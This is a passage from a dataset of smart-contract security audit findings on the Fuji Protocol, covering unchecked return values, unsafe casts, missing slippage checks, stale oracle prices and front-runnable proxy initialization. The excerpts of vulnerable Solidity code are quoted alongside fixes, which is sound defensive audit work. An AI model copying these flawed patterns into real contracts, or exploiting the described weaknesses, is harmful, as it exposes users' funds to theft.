Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cTokenAddress); code/contracts/mainnet/providers/ProviderIronBank.sol:L52-L57 function _exitCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cyTokenAddress); Unchecked return value enterMarkets (Note that IComptroller returns NO_ERROR when already joined to enterMarkets. All Providers exhibit the same issue, probably due to code reuse. (also see https://github.com/ConsenSysDiligence/fuji-protocol-audit-2022-02/issues/19). For example: code/contracts/fantom/providers/ProviderCream.sol:L39-L46 function _enterCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); address[] memory cyTokenMarkets = new address[](1); cyTokenMarkets[0] = _cyTokenAddress; comptroller.enterMarkets(cyTokenMarkets); Recommendation Require that return value is ERROR.NO_ERROR or 0. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.6 Fliquidator - excess funds of native tokens are not returned ", "body": " Description Examples code/contracts/fantom/FliquidatorFTM.sol:L148-L150 if (vAssets.borrowAsset == FTM) { require(msg.value >= debtTotal, Errors.VL_AMOUNT_ERROR); } else { Recommendation Consider returning excess funds. Consider making _constructParams public to allow the caller to pre-calculate the debtTotal that needs to be provided with the call. Consider removing support for native token FTM entirely to reduce the overall code complexity. The wrapped equivalent can be used instead. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.7 Unsafe arithmetic casts ", "body": " Description The reason for using signed integers in some situations appears to be to use negative values as an indicator to withdraw everything. Using a whole bit of uint256 for this is quite a lot when using type(uint256).max would equal or better serve as a flag to withdraw everything. Furthermore, even though the code uses solidity 0.8.x, which safeguards arithmetic operations against under/overflows, arithmetic typecast is not protected. Also, see issue 4.9 for a related issue. \u21d2 solidity-shell \ud83d\ude80 Entering interactive Solidity ^0.8.11 shell. '.help' and '.exit' are your friends. \u00bb \u2139\ufe0f ganache-mgr: starting temp. ganache instance ... \u00bb uint(int(-100)) 115792089237316195423570985008687907853269984665640564039457584007913129639836 \u00bb int256(uint(2**256-100)) 100 Examples code/contracts/fantom/FliquidatorFTM.sol:L167-L178 // Compute how much collateral needs to be swapt uint256 collateralInPlay = _getCollateralInPlay( vAssets.collateralAsset, vAssets.borrowAsset, debtTotal + bonus ); // Burn f1155 _burnMulti(addrs, borrowBals, vAssets, _vault, f1155); // Withdraw collateral IVault(_vault).withdrawLiq(int256(collateralInPlay)); code/contracts/fantom/FliquidatorFTM.sol:L264-L276 // Compute how much collateral needs to be swapt for all liquidated users uint256 collateralInPlay = _getCollateralInPlay( vAssets.collateralAsset, vAssets.borrowAsset, _amount + _flashloanFee + bonus ); // Burn f1155 _burnMulti(_addrs, _borrowBals, vAssets, _vault, f1155); // Withdraw collateral IVault(_vault).withdrawLiq(int256(collateralInPlay)); code/contracts/fantom/FliquidatorFTM.sol:L334-L334 uint256 amount = _amount < 0 ? debtTotal : uint256(_amount); code/contracts/fantom/FujiVaultFTM.sol:L213-L220 function withdrawLiq(int256 _withdrawAmount) external override nonReentrant onlyFliquidator { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20Upgradeable(vAssets.collateralAsset).univTransfer( payable(msg.sender), uint256(_withdrawAmount) ); pot. unsafe truncation (unlikely) code/contracts/FujiERC1155.sol:L53-L59 function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit { uint256 total = totalSupply(_assetID); if (newBalance > 0 && total > 0 && newBalance > total) { uint256 newIndex = (indexes[_assetID] * newBalance) / total; indexes[_assetID] = uint128(newIndex); Recommendation If negative values are only used as a flag to indicate that all funds should be used for an operation, use type(uint256).max instead. It is wasting less value-space for a simple flag than using the uint256 high-bit range. Avoid typecast where possible. Use SafeCast instead or verify that the casts are safe because the values they operate on cannot under- or overflow. Add inline code comments if that s the case. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.8 Missing input validation on flash close fee factors ", "body": " Description The FliquidatorFTM contract allows authorized parties to set the flash close fee factor. The factor is provided as two integers denoting numerator and denominator. Due to a lack of boundary checks, it is possible to set unrealistically high factors, which go well above 1. This can have unexpected effects on internal accounting and the impact of flashloan balances. Examples code/contracts/fantom/FliquidatorFTM.sol:L657-L659 function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized { flashCloseF.a = _newFactorA; flashCloseF.b = _newFactorB; Recommendation Add a requirement making sure that flashCloseF.a <= flashCloseF.b. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.9 Separation of concerns and consistency in vaults ", "body": " Description The FujiVaultFTM contract contains multiple balance-changing functions. Most notably, withdraw is passed an int256 denoted amount parameter. Negative values of this parameter are given to the _internalWithdraw function, where they trigger the withdrawal of all collateral. This approach can result in accounting mistakes in the future as beyond a certain point in the vault s accounting; amounts are expected to be only positive. Furthermore, the concerns of withdrawing and entirely withdrawing are not separated. The above issue applies analogously to the payback function and its dependency on _internalPayback. For consistency, withdrawLiq also takes an int256 amount parameter. This function is only accessible to the Fliquidator contract and withdraws collateral from the active provider. However, all occurrences of the _withdrawAmount parameter are cast to uint256. Examples The withdraw entry point: code/contracts/fantom/FujiVaultFTM.sol:L201-L204 function withdraw(int256 _withdrawAmount) public override nonReentrant { updateF1155Balances(); _internalWithdraw(_withdrawAmount); _internalWithdraw s negative amount check: code/contracts/fantom/FujiVaultFTM.sol:L654-L657 uint256 amountToWithdraw = _withdrawAmount < 0 ? providedCollateral - neededCollateral : uint256(_withdrawAmount); The withdrawLiq entry point for the Fliquidator: code/contracts/fantom/FujiVaultFTM.sol:L213-L220 function withdrawLiq(int256 _withdrawAmount) external override nonReentrant onlyFliquidator { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20Upgradeable(vAssets.collateralAsset).univTransfer( payable(msg.sender), uint256(_withdrawAmount) ); Recommendation Similarly, withdrawLiq s parameter should be a uint256 to prevent unnecessary casts. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.10 Aave/Geist Interface declaration mismatch and unchecked return values ", "body": " Description The two lending providers, Geist & Aave, do not seem to be directly affiliated even though one is a fork of the other. However, the interfaces may likely diverge in the future. Using the same interface declaration for both protocols might become problematic with future upgrades to either protocol. The interface declaration does not seem to come from the original upstream project. The interface IAaveLendingPool does not declare any return values while some of the functions called in Geist or Aave return them. Note: that we have not verified all interfaces for correctness. However, we urge the client to only use official interface declarations from the upstream projects and verify that all other interfaces match. Examples The ILendingPool configured in ProviderAave (0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5 -> implementation: 0xc6845a5c768bf8d7681249f8927877efda425baf) code/contracts/mainnet/providers/ProviderAave.sol:L19-L21 function _getAaveProvider() internal pure returns (IAaveLendingPoolProvider) { return IAaveLendingPoolProvider(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); The IAaveLendingPool does not declare return values for any function, while upstream does. code/contracts/interfaces/aave/IAaveLendingPool.sol:L1-L46 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAaveLendingPool { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; function deposit( address _asset, uint256 _amount, address _onBehalfOf, uint16 _referralCode ) external; function withdraw( address _asset, uint256 _amount, address _to ) external; function borrow( address _asset, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode, address _onBehalfOf ) external; function repay( address _asset, uint256 _amount, uint256 _rateMode, address _onBehalfOf ) external; function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external; Methods: withdraw(), repay() return uint256 in the original implementation for Aave, see: https://etherscan.io/address/0xc6845a5c768bf8d7681249f8927877efda425baf#code The ILendingPool configured for Geist: Methods withdraw(), repay() return uint256 in the original implementation for Geist, see: https://ftmscan.com/address/0x3104ad2aadb6fe9df166948a5e3a547004862f90#code Note: that the actual amount withdrawn does not necessarily need to match the amount provided with the function argument. Here s an excerpt of the upstream LendingProvider.withdraw(): ... if (amount == type(uint256).max) { amountToWithdraw = userBalance; ... return amountToWithdraw; And here s the code in Fuji that calls that method. This will break the withdrawAll functionality of LendingProvider if token isFTM. code/contracts/fantom/providers/ProviderGeist.sol:L151-L165 function withdraw(address _asset, uint256 _amount) external payable override { IAaveLendingPool aave = IAaveLendingPool(_getAaveProvider().getLendingPool()); bool isFtm = _asset == _getFtmAddr(); address _tokenAddr = isFtm ? _getWftmAddr() : _asset; aave.withdraw(_tokenAddr, _amount, address(this)); // convert WFTM to FTM if (isFtm) { address unwrapper = _getUnwrapper(); IERC20(_tokenAddr).univTransfer(payable(unwrapper), _amount); IUnwrapper(unwrapper).withdraw(_amount); Similar for repay(), which returns the actual amount repaid. Recommendation Always use the original interface unless only a minimal subset of functions is used. Use the original upstream interfaces of the corresponding project (link via the respective npm packages if available). Avoid omitting parts of the function declaration! Especially when it comes to return values. Check return values. Use the value returned from withdraw() AND repay() ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.11 Missing slippage protection for rewards swap ", "body": " Description In FujiVaultFTM.harvestRewards a swap transaction is generated using a call to SwapperFTM.getSwapTransaction. In all relevant scenarios, this call uses a minimum output amount of zero, which de-facto deactivates slippage checks. Most values from harvesting rewards can thus be siphoned off by sandwiching such calls. Examples amountOutMin is 0, effectively disabling slippage control in the swap method. code/contracts/fantom/SwapperFTM.sol:L49-L55 transaction.data = abi.encodeWithSelector( IUniswapV2Router01.swapExactETHForTokens.selector, 0, path, msg.sender, type(uint256).max ); Only success required code/contracts/fantom/FujiVaultFTM.sol:L565-L567 // Swap rewards -> collateralAsset (success, ) = swapTransaction.to.call{ value: swapTransaction.value }(swapTransaction.data); require(success, \"failed to swap rewards\"); Recommendation Use a slippage check such as for liquidator swaps: code/contracts/fantom/FliquidatorFTM.sol:L476-L479 require( (priceDelta * SLIPPAGE_LIMIT_DENOMINATOR) / priceFromOracle < SLIPPAGE_LIMIT_NUMERATOR, Errors.VL_SWAP_SLIPPAGE_LIMIT_EXCEED ); Or specify a non-zero amountOutMin argument in calls to IUniswapV2Router01.swapExactETHForTokens. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.12 Unpredictable behavior due to admin front running or general bad timing ", "body": " Description In several cases, the owner of deployed contracts can update or upgrade things in the system without warning. This has the potential to violate a security goal of the system. Specifically, contract owners (a 2/3 EOA Gnosis Multisig) could use front running to make malicious changes just ahead of incoming transactions, or purely accidental adverse effects could occur due to unfortunate timing of changes. Some instances of this are more important than others, but in general, users of the system should have assurances about the behavior of the action they re about to take. Examples FujiAdmin The owner of FujiAdmin is 0x0e1484c9a9f9b31ff19300f082e843415a575f4f and this address is a proxy to a Gnosis Safe: Mastercopy 1.2.0 implementation, requiring 2/3 signatures to execute transactions. All three signees are EOA s. code/artifacts/1-core.deploy:L958-L960 \"FujiAdmin\": { \"address\": \"0x4cB46032e2790D8CA10be6d0001e8c6362a76adA\", \"abi\": [ Controller, FujiOracle The owner of controller seems to be a single EOA: https://etherscan.io/address/0x3f366802F4e7576FC5DAA82890Cc6e04c85f3736#readContract The owner of FujiOracle seems to be a single EOA: https://etherscan.io/address/0xadF849079d415157CbBdb21BB7542b47077734A8#readContract The owner of FujiERC1155 seems to be a single EOA: https://etherscan.io/address/0xa2d62f8b02225fbFA1cf8bF206C8106bDF4c692b#readProxyContract FujiAdmin (fantom) Deployer is 0xb98d4D4e205afF4d4755E9Df19BD0B8BD4e0f148 which is an EOA. code/artifacts/250-core.deploy:L1-L5 \"FujiAdmin\": { \"address\": \"0xaAb2AAfBFf7419Ff85181d3A846bA9045803dd67\", \"deployer\": \"0xb98d4D4e205afF4d4755E9Df19BD0B8BD4e0f148\", \"abi\": [ FujiAdmin.owner is 0x40578f7902304e0e34d7069fb487ee57f841342e which is a GnosisSafeProxy Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, all onlyOwner functionality requires two steps with a mandatory time window between them. The first step merely tells users that a particular change is coming, and the second step commits that change after a reasonable waiting period. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.13 FujiOracle - _getUSDPrice does not detect stale oracle prices; General Oracle Risks ", "body": " Description The external Chainlink oracle, which provides index price information to the system, introduces risk inherent to any dependency on third-party data sources. For example, the oracle could fall behind or otherwise fail to be maintained, resulting in outdated data being fed to the index price calculations. Oracle reliance has historically resulted in crippled on-chain systems, and complications that lead to these outcomes can arise from things as simple as network congestion. This is more extreme in lesser-known tokens with fewer ChainLink Price feeds to update the price frequently. Ensuring that unexpected oracle return values are correctly handled will reduce reliance on off-chain components and increase the resiliency of the smart contract system that depends on them. The codebase, as is, relies on chainLinkOracle.latestRoundData() and does not check the timestamp or answeredIn round of the returned price. Examples Here s how the oracle is consumed, skipping any fields that would allow checking for stale data: code/contracts/FujiOracle.sol:L66-L77 /** @dev Calculates the USD price of asset. @param _asset: the asset address. Returns the USD price of the given asset / function _getUSDPrice(address _asset) internal view returns (uint256 price) { require(usdPriceFeeds[_asset] != address(0), Errors.ORACLE_NONE_PRICE_FEED); (, int256 latestPrice, , , ) = AggregatorV3Interface(usdPriceFeeds[_asset]).latestRoundData(); price = uint256(latestPrice); Here s the implementation of the v0.6 FluxAggregator Chainlink feed with a note that timestamps should be checked. contracts/src/v0.6/FluxAggregator.sol:L489-L490 Recommendation @return updatedAt is the timestamp when the round last was updated (i.e. answer was last computed) Recommendation Perform sanity checks on the price returned by the oracle. If the price is older, not within configured limits, revert or handle in other means. The oracle does not provide any means to remove a potentially broken price-feed (e.g., by updating its address to address(0) or by pausing specific feeds or the complete oracle). The only way to pause an oracle right now is to deploy a new oracle contract. Therefore, consider adding minimally invasive functionality to pause the price-feeds if the oracle becomes unreliable. Monitor the oracle data off-chain and intervene if it becomes unreliable. On-chain, realistically, both answeredInRound and updatedAt must be checked within acceptable bounds. answeredInRound == latestRound - in this case, data may be assumed to be fresh while it might not be because the feed was entirely abandoned by nodes (no one starting a new round). Also, there s a good chance that many feeds won t always be super up-to-date (it might be acceptable to allow a threshold). A strict check might lead to transactions failing (race; e.g., round just timed out). roundId + threshold >= answeredInRound - would allow a deviation of threshold rounds. This check alone might still result in stale data to be used if there are no more rounds. Therefore, this should be combined with updatedAt + threshold >= block.timestamp. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.14 Unclaimed or front-runnable proxy implementations ", "body": " Description Various smart contracts in the system require initialization functions to be called. The point when these calls happen is up to the deploying address. Deployment and initialization in one transaction are typically safe, but it can potentially be front-run if the initialization is done in a separate transaction. A frontrunner can call these functions to silently take over the contracts and provide malicious parameters or plant a backdoor during the deployment. Leaving proxy implementations uninitialized further aides potential phishing attacks where users might claim that - just because a contract address is listed in the official documentation/code-repo - a contract is a legitimate component of the system. At the same time, it is only a proxy implementation that an attacker claimed. For the end-user, it might be hard to distinguish whether this contract is part of the system or was a maliciously appropriated implementation. Examples code/contracts/mainnet/FujiVault.sol:L97-L102 function initialize( address _fujiadmin, address _oracle, address _collateralAsset, address _borrowAsset ) external initializer { FujiVault was initialized many days after deployment, and FujiVault inherits VaultBaseUpgradeable, which exposes a delegatecall that can be used to selfdestruct the contract s implementation. Another FujiVault was deployed by deployer initialized in a 2-step approach that can theoretically silently be front-run. code/artifacts/250-core.deploy:L2079-L2079 \"deployer\": \"0xb98d4D4e205afF4d4755E9Df19BD0B8BD4e0f148\", Transactions of deployer: https://ftmscan.com/txs?a=0xb98d4D4e205afF4d4755E9Df19BD0B8BD4e0f148&p=2 The specific contract was initialized 19 blocks after deployment. https://ftmscan.com/address/0x8513c2db99df213887f63300b23c6dd31f1d14b0 FujiAdminFTM (and others) don t seem to be initialized. (low prior; no risk other than pot. reputational damage) code/artifacts/250-core.deploy:L1-L7 \"FujiAdmin\": { \"address\": \"0xaAb2AAfBFf7419Ff85181d3A846bA9045803dd67\", \"deployer\": \"0xb98d4D4e205afF4d4755E9Df19BD0B8BD4e0f148\", \"abi\": [ \"anonymous\": false, Recommendation It is recommended to use constructors wherever possible to immediately initialize proxy implementations during deploy-time. The code is only run when the implementation is deployed and affects the proxy initializations. If other initialization functions are used, we recommend enforcing deployer access restrictions or a standardized, top-level initialized boolean, set to true on the first deployment and used to prevent future initialization. Using constructors and locked-down initialization functions will significantly reduce potential developer errors and the possibility of attackers re-initializing vital system components. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.15 Unused Import ", "body": " Description The following dependency is imported but never used: code/contracts/mainnet/flashloans/Flasher.sol:L13-L13 import \"../../interfaces/IFujiMappings.sol\"; Recommendation Remove the unused import. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.16 WFTM - Use of incorrect interface declarations ", "body": " Description WETH and WFTM implementations are different. code/contracts/fantom/WFTMUnwrapper.sol:L7-L23 contract WFTMUnwrapper { address constant wftm = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83; receive() external payable {} /** @notice Convert WFTM to FTM and transfer to msg.sender @dev msg.sender needs to send WFTM before calling this withdraw @param _amount amount to withdraw. / function withdraw(uint256 _amount) external { IWETH(wftm).withdraw(_amount); (bool sent, ) = msg.sender.call{ value: _amount }(\"\"); require(sent, \"Failed to send FTM\"); code/contracts/fantom/providers/ProviderGeist.sol:L115-L116 // convert FTM to WFTM if (isFtm) IWETH(_tokenAddr).deposit{ value: _amount }(); Also see issues: issue 4.4, issue 4.5, issue 4.10 Recommendation We recommend using the correct interfaces for all contracts instead of partial stubs. Do not modify the original function declarations, e.g., by omitting return value declarations. The codebase should also check return values where possible or explicitly state why values can safely be ignored in inline comments or the function s natspec documentation block. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.17 Inconsistent isFTM, isETH checks ", "body": " Description LibUniversalERC20FTM.isFTM() and LibUniversalERC20.isETH() identifies native assets by matching against two distinct addresses while some components only check for one. Examples The same is true for FTM. Flasher only identifies a native asset transfer by matching asset against _ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE while univTransfer() identifies it using 0x0 || 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE code/contracts/mainnet/flashloans/Flasher.sol:L122-L141 function callFunction( address sender, Account.Info calldata account, bytes calldata data ) external override { require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED); account; FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info)); uint256 _value; if (info.asset == _ETH) { // Convert WETH to ETH and assign amount to be set as msg.value _convertWethToEth(info.amount); _value = info.amount; } else { // Transfer to Vault the flashloan Amount // _value is 0 IERC20(info.asset).univTransfer(payable(info.vault), info.amount); LibUniversalERC20 code/contracts/mainnet/libraries/LibUniversalERC20.sol:L8-L16 library LibUniversalERC20 { using SafeERC20 for IERC20; IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 private constant _ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000); function isETH(IERC20 token) internal pure returns (bool) { return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS); code/contracts/mainnet/libraries/LibUniversalERC20.sol:L26-L40 function univTransfer( IERC20 token, address payable to, uint256 amount ) internal { if (amount > 0) { if (isETH(token)) { (bool sent, ) = to.call{ value: amount }(\"\"); require(sent, \"Failed to send Ether\"); } else { token.safeTransfer(to, amount); There are multiple other instances of this code/contracts/mainnet/Fliquidator.sol:L162-L162 uint256 _value = vAssets.borrowAsset == ETH ? debtTotal : 0; Recommendation Consider using a consistent way to identify native asset transfers (i.e. ETH, FTM) by using LibUniversalERC20.isETH(). Alternatively, the system can be greatly simplified by expecting WFTM and only working with it. This simplification will remove all special cases where the library must handle non-ERC20 interfaces. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.18 FujiOracle - setPriceFeed should check asset and priceFeed decimals ", "body": " Description getPriceOf() assumes that all price feeds return prices with identical decimals, but setPriceFeed does not enforce this. Potential misconfigurations can have severe effects on the system s internal accounting. Examples code/contracts/FujiOracle.sol:L27-L36 /** @dev Sets '_priceFeed' address for a '_asset'. Can only be called by the contract owner. Emits a {AssetPriceFeedChanged} event. / function setPriceFeed(address _asset, address _priceFeed) public onlyOwner { require(_priceFeed != address(0), Errors.VL_ZERO_ADDR); usdPriceFeeds[_asset] = _priceFeed; emit AssetPriceFeedChanged(_asset, _priceFeed); Recommendation We recommend adding additional checks to detect unexpected changes in assets properties. Safeguard price feeds by enforcing priceFeed == address(0) || priceFeed.decimals() == 8. This allows the owner to disable a priceFeed (setting it to zero) and otherwise ensure that the feed is compatible and indeed returns 8 decimals. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.19 Unchecked function return values for low-level calls", "body": " Description It should be noted that the swapping and harvesting transactions sometimes return values to the function caller. While the low-level call is checked for success , the return values are not actively handled. This can be intentional but should be verified. Before calling the external contract, there is no check whether a contract is deployed at that address. Since destinations seem to be hardcoded in the Swapper/Harvester modules, we assume this has been ensured before deploying the contract. However, we suggest checking that code is deployed at the destination address, especially for upgradeable contracts. We raise this as an informational finding as both the Harvester and Swapper flows using token.balanceOf(this), which might make this check obsolete. However, potential future third-party Swapper/Harvester additions to the protocol might return error codes that need to be checked for. Examples Geist/Uniswap and WFTM methods may return amounts or error codes code/contracts/fantom/FujiVaultFTM.sol:L549-L551 // Claim rewards (bool success, ) = harvestTransaction.to.call(harvestTransaction.data); require(success, \"failed to harvest rewards\"); code/contracts/fantom/FujiVaultFTM.sol:L565-L567 // Swap rewards -> collateralAsset (success, ) = swapTransaction.to.call{ value: swapTransaction.value }(swapTransaction.data); require(success, \"failed to swap rewards\"); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.20 Use the compiler to resolve function selectors for interfaces", "body": " Description Function signatures of known contract and interface types are available to the compiler. We recommend using abi.encodeWithSelector(IProvider.withdraw.selector, ...) instead of the more error prone abi.encodeWithSignature(\"withdraw(address,uint256)\", ...) equivalent. Using the former method avoids hard-to-detect errors stemming from typos, interface changes, etc. Examples code/contracts/abstracts/vault/VaultBaseUpgradeable.sol:L57-L84 /** @dev Executes withdraw operation with delegatecall. @param _amount: amount to be withdrawn @param _provider: address of provider to be used / function _withdraw(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature( \"withdraw(address,uint256)\", vAssets.collateralAsset, _amount ); _execute(_provider, data); /** @dev Executes borrow operation with delegatecall. @param _amount: amount to be borrowed @param _provider: address of provider to be used / function _borrow(uint256 _amount, address _provider) internal { bytes memory data = abi.encodeWithSignature( \"borrow(address,uint256)\", vAssets.borrowAsset, _amount ); _execute(_provider, data); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.21 Reduce code complexity", "body": " Description Throughout the codebase, snippets of code and whole functions have been copy-pasted. This duplication significantly increases code complexity and the potential for bugs. We recommend re-using code across modules or providing library contracts that implement re-usable code fragments. Examples Providers should use LibUniversalERC20FTM.isFTM instead of re-implementing Helper.isFTM. code/contracts/fantom/providers/ProviderCream.sol:L17-L19 function _isFTM(address token) internal pure returns (bool) { return (token == address(0) || token == address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF)); code/contracts/fantom/providers/ProviderScream.sol:L17-L19 function _isFTM(address token) internal pure returns (bool) { return (token == address(0) || token == address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF)); ProviderGeist should provide an internal method instead of implementing multiple variants of the isFtm to token address mapping. E.g., both calls do the same thing. They select a different return value from the external call. Avoid re-implementing an inconsistent isFtm variant. Require that isFtm && amount != 0 on deposit/payback. code/contracts/fantom/providers/ProviderGeist.sol:L57-L67 function getBorrowBalance(address _asset) external view override returns (uint256) { IAaveDataProvider aaveData = _getAaveDataProvider(); bool isFtm = _asset == _getFtmAddr(); address _tokenAddr = isFtm ? _getWftmAddr() : _asset; (, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_tokenAddr, msg.sender); return variableDebt; code/contracts/fantom/providers/ProviderGeist.sol:L43-L52 function getBorrowRateFor(address _asset) external view override returns (uint256) { IAaveDataProvider aaveData = _getAaveDataProvider(); (, , , , uint256 variableBorrowRate, , , , , ) = IAaveDataProvider(aaveData).getReserveData( _asset == _getFtmAddr() ? _getWftmAddr() : _asset ); return variableBorrowRate; Also, note the unnecessary double cast IAaveDataProvider. code/contracts/fantom/providers/ProviderGeist.sol:L73-L87 function getBorrowBalanceOf(address _asset, address _who) external view override returns (uint256) IAaveDataProvider aaveData = _getAaveDataProvider(); bool isFtm = _asset == _getFtmAddr(); address _tokenAddr = isFtm ? _getWftmAddr() : _asset; (, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_tokenAddr, _who); return variableDebt; Consider removing support for the native currency altogether in favor of only accepting pre-wrapped WFTM (WETH). This should remove a lot of glue code currently implemented to auto-wrap/unwrap native currency. Unused functionality code/contracts/fantom/providers/ProviderCream.sol:L52-L57 function _exitCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cyTokenAddress); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.22 Unusable state variable in dYdX provider", "body": " Description Remove the state variable donothing . Providers are always called via staticcall or delegatecall and should not hold any state. code/contracts/mainnet/providers/ProviderDYDX.sol:L93-L95 bool public donothing = true; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.23 Use enums instead of hardcoded integer literals", "body": " Description Hardcoded integers are used throughout the codebase to denote states and distinguish between states. The code s complexity can be significantly reduced by using descriptive enum values. Examples 2 should be InterestRateMode.VARIABLE code/contracts/fantom/providers/ProviderGeist.sol:L184-L184 aave.repay(_tokenAddr, _amount, 2, address(this)); code/contracts/fantom/providers/ProviderGeist.sol:L136-L136 aave.borrow(_tokenAddr, _amount, 2, 0, address(this)); _farmProtocolNum and harvestType should be refactored to their enum equivalents: code/contracts/mainnet/Harvester.sol:L20-L32 if (_farmProtocolNum == 0) { transaction.to = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; transaction.data = abi.encodeWithSelector( bytes4(keccak256(\"claimComp(address)\")), msg.sender ); claimedToken = 0xc00e94Cb662C3520282E6f5717214004A7f26888; } else if (_farmProtocolNum == 1) { uint256 harvestType = abi.decode(_data, (uint256)); if (harvestType == 0) { // claim (, address[] memory assets) = abi.decode(_data, (uint256, address[])); label the flashloan providers with an enum representing their name code/contracts/fantom/flashloans/FlasherFTM.sol:L72-L78 if (_flashnum == 0) { _initiateGeistFlashLoan(info); } else if (_flashnum == 2) { _initiateCreamFlashLoan(info); } else { revert(Errors.VL_INVALID_FLASH_NUMBER); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.24 Redundant harvest check in vault", "body": " Description In the FujiVaultFTM.harvestRewards function, the check for a returned token s address in the if condition and require statement overlap with tokenReturned != address(0). Examples code/contracts/mainnet/FujiVault.sol:L553-L555 if (tokenReturned != address(0)) { uint256 tokenBal = IERC20Upgradeable(tokenReturned).univBalanceOf(address(this)); require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED); Recommendation We recommend removing one of the statements for gas savings and increased readability. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.25 Redundant use of immutable for constants", "body": " Description The FlasherFTM contract declares immutable state variables even though they are never set in the constructor. Consider declaring them as constant instead unless they are to be set on construction time. See the Solidity Documentation for further details: [\u2026] For constant variables, the value has to be fixed at compile-time, while for immutable, it can still be assigned at construction time. [\u2026] Examples code/contracts/mainnet/flashloans/Flasher.sol:L37-L44 address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9; address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; // IronBank address private immutable _cyFlashloanLender = 0x1a21Ab52d1Ca1312232a72f4cf4389361A479829; address private immutable _cyComptroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; // need to be payable because of the conversion ETH <> WETH code/contracts/fantom/flashloans/FlasherFTM.sol:L36-L39 address private immutable _geistLendingPool = 0x9FAD24f572045c7869117160A571B2e50b10d068; IFujiMappings private immutable _crMappings = IFujiMappings(0x1eEdE44b91750933C96d2125b6757C4F89e63E20); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.26 Redeclaration of constant values in multiple contracts", "body": " Description Throughout the codebase, constant values are 